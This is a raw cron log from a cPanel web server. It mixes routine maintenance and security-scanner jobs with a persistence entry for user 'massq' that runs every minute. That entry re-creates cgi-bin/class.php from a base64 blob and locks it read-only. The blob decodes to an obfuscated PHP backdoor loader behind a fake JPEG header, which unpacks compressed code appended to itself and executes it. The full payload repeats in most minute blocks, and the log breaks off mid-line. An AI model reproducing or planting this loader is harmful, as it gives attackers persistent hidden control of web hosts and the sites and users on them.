Sep  1 20:00:01 server CROND[31729]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 20:00:01 server CROND[31735]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:00:01 server CROND[31734]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 20:00:01 server CROND[31731]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:00:01 server CROND[31732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:00:01 server CROND[31733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:01:01 server CROND[32690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:01:01 server CROND[32691]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 20:01:01 server CROND[32693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:01:01 server CROND[32692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:01:01 server run-parts(/etc/cron.hourly)[32691]: starting 0anacron
Sep  1 20:01:01 server run-parts(/etc/cron.hourly)[32712]: finished 0anacron
Sep  1 20:02:01 server CROND[644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:02:01 server CROND[646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:02:01 server CROND[648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:03:01 server CROND[1116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:03:01 server CROND[1115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:03:01 server CROND[1117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:04:01 server CROND[1542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:04:01 server CROND[1543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:04:01 server CROND[1544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:05:01 server CROND[1944]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 20:05:01 server CROND[1945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:05:01 server CROND[1948]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 20:05:01 server CROND[1953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:05:01 server CROND[1954]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:05:01 server CROND[1949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:05:01 server CROND[1952]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:05:01 server CROND[1951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:05:01 server CROND[1950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:06:01 server CROND[2982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:06:01 server CROND[2983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:06:01 server CROND[2984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:07:01 server CROND[3370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:07:01 server CROND[3372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:07:01 server CROND[3377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:08:01 server CROND[3760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:08:01 server CROND[3761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:08:01 server CROND[3762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:09:01 server CROND[4147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:09:01 server CROND[4149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:09:01 server CROND[4150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:09:01 server CROND[4148]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 20:10:01 server CROND[4540]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:10:01 server CROND[4541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:10:01 server CROND[4545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:10:01 server CROND[4548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:10:01 server CROND[4549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:10:01 server CROND[4551]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:10:01 server CROND[4554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:10:01 server CROND[4550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:11:01 server CROND[5506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:11:01 server CROND[5507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aI